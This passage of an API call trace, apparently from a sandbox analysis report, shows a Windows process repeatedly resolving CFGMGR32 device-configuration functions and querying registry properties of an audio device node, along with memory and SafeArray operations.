lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0245.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0245.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0245.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0245.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0245.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0245.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0245.403] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0245.404] malloc (_Size=0x18) returned 0x20abc281f60 [0245.404] CM_Get_Device_IDA (in: dnDevInst=0x38, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HDAUDIO\\FUNC_01&VEN_1AF4&DEV_0022&SUBSYS_1AF40022&REV_1001\\4&3ADB15C9&0&0001") returned 0x0 [0245.404] malloc (_Size=0x48) returned 0x20abc27cb20 [0245.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4e09dc4f, dwHighDateTime=0x1d9eb0c)) [0245.405] SetEvent (hEvent=0x248) returned 1 [0245.407] SetEvent (hEvent=0x248) returned 1 [0245.408] free (_Block=0x20abc27cb20) [0245.408] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0245.408] malloc (_Size=0xdc) returned 0x20abc286870 [0245.409] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0245.410] free (_Block=0x20abc286870) [0245.410] malloc (_Size=0x48) returned 0x20abc27cf80 [0245.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4e09dc4f, dwHighDateTime=0x1d9eb0c)) [0245.410] SetEvent (hEvent=0x248) returned 1 [0245.411] malloc (_Size=0x18) returned 0x20abc282080 [0245.411] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.411] free (_Block=0x20abc282080) [0245.411] malloc (_Size=0x18) returned 0x20abc281b20 [0245.411] SafeArrayPutElement (psa=0x20abbaf22a0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.411] free (_Block=0x20abc281b20) [0245.411] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c070 [0245.411] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0245.411] SafeArrayGetLBound (in: psa=0x20abbaf22a0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0245.411] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0245.411] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0245.411] SafeArrayGetDim (psa=0x20abbaf22a0) returned 0x1 [0245.412] SafeArrayGetUBound (in: psa=0x20abbaf22a0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0245.412] SafeArrayGetElemsize (psa=0x20abbaf22a0) returned 0x8 [0245.412] SafeArrayGetElement (in: psa=0x20abbaf22a0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0245.412] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93550, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.413] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93558, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.414] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0245.414] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c070) returned 1 [0245.416] SetEvent (hEvent=0x248) returned 1 [0245.417] free (_Block=0x20abc27cf80) [0245.418] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0245.418] malloc (_Size=0x492) returned 0x20abc2a8d90 [0245.418] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a8d90, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a8d90, pulLength=0x2dc22fd3f8) returned 0x0 [0245.420] free (_Block=0x20abc2a8d90) [0245.420] malloc (_Size=0x48) returned 0x20abc2a8820 [0245.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4e0c50e0, dwHighDateTime=0x1d9eb0c)) [0245.421] SetEvent (hEvent=0x248) returned 1 [0245.421] malloc (_Size=0x18) returned 0x20abc281e00 [0245.421] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.421] free (_Block=0x20abc281e00) [0245.422] malloc (_Size=0x18) returned 0x20abc281b20 [0245.422] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.422] free (_Block=0x20abc281b20) [0245.422] malloc (_Size=0x18) returned 0x20abc281ac0 [0245.422] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.422] free (_Block=0x20abc281ac0) [0245.422] malloc (_Size=0x18) returned 0x20abc281c40 [0245.422] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.422] free (_Block=0x20abc281c40) [0245.422] malloc (_Size=0x18) returned 0x20abc281960 [0245.422] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.422] free (_Block=0x20abc281960) [0245.422] malloc (_Size=0x18) returned 0x20abc281d20 [0245.423] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.423] free (_Block=0x20abc281d20) [0245.423] malloc (_Size=0x18) returned 0x20abc281f20 [0245.423] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.423] free (_Block=0x20abc281f20) [0245.423] malloc (_Size=0x18) returned 0x20abc281c40 [0245.423] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.423] free (_Block=0x20abc281c40) [0245.423] malloc (_Size=0x18) returned 0x20abc281be0 [0245.423] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0245.423] free (_Block=0x20abc281be0) [0245.423] malloc (_Size=0x18) returned 0x20abc281de0 [0245.424] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.424] free (_Block=0x20abc281de0) [0245.424] malloc (_Size=0x18) returned 0x20abc281a00 [0245.424] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.424] free (_Block=0x20abc281a00) [0245.424] malloc (_Size=0x18) returned 0x20abc281fc0 [0245.424] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430758) returned 0x0 [0245.424] free (_Block=0x20abc281fc0) [0245.424] malloc (_Size=0x18) returned 0x20abc281d20 [0245.424] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0245.424] free (_Block=0x20abc281d20) [0245.424] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c5f0 [0245.425] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0245.425] SafeArrayGetLBound (in: psa=0x20abbaf1aa0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0245.425] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0245.425] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0245.425] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0245.425] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0245.425] SafeArrayGetElemsize (psa=0x20abbaf1aa0) returned 0x8 [0245.425] SafeArrayGetElement (in: psa=0x20abbaf1aa0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0245.426] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a28e0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.426] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a28e8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.426] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a28f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.426] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a28f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.426] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2900, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.427] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2908, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.427] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2910, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.427] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2918, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.427] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2920, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.427] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2928, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.428] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2930, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.428] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2938, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.428] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4a2940, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0245.429] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0245.430] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c5f0) returned 1 [0245.575] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.576] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0245.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0245.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0245.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0245.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0245.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0245.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0245.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0245.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0245.579] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0245.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0245.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0245.580] malloc (_Size=0x18) returned 0x20abc281e00 [0245.581] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0245.588] malloc (_Size=0x48) returned 0x20abc27cb20 [0245.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e26786f, dwHighDateTime=0x1d9eb0c)) [0245.589] SetEvent (hEvent=0x248) returned 1 [0245.593] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.594] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.594] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.595] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0245.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0245.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0245.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0245.596] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0245.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0245.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0245.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0245.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0245.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0245.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0245.597] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0245.598] malloc (_Size=0x18) returned 0x20abc281ea0 [0245.598] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0245.598] malloc (_Size=0x48) returned 0x20abc27cf80 [0245.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e26786f, dwHighDateTime=0x1d9eb0c)) [0245.599] SetEvent (hEvent=0x248) returned 1 [0245.604] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.604] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.604] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.604] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.604] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.605] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0245.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0245.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0245.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0245.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0245.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0245.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0245.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0245.606] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0245.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0245.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0245.607] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0245.607] malloc (_Size=0x18) returned 0x20abc281e00 [0245.608] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0245.608] malloc (_Size=0x48) returned 0x20abc27cb20 [0245.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e28db71, dwHighDateTime=0x1d9eb0c)) [0245.609] SetEvent (hEvent=0x248) returned 1 [0245.612] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.612] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0245.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0245.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0245.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0245.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0245.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0245.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0245.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0245.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0245.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0245.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0245.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0245.616] malloc (_Size=0x18) returned 0x20abc281a00 [0245.616] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x38, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0245.617] malloc (_Size=0x48) returned 0x20abc27cb20 [0245.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4e28db71, dwHighDateTime=0x1d9eb0c)) [0245.617] SetEvent (hEvent=0x248) returned 1 [0245.829] malloc (_Size=0xd8) returned 0x20abc284e70 [0245.829] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0245.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0245.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0245.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0245.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0245.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0245.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0245.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0245.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0245.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0245.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0245.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0245.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0245.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0245.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0245.833] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 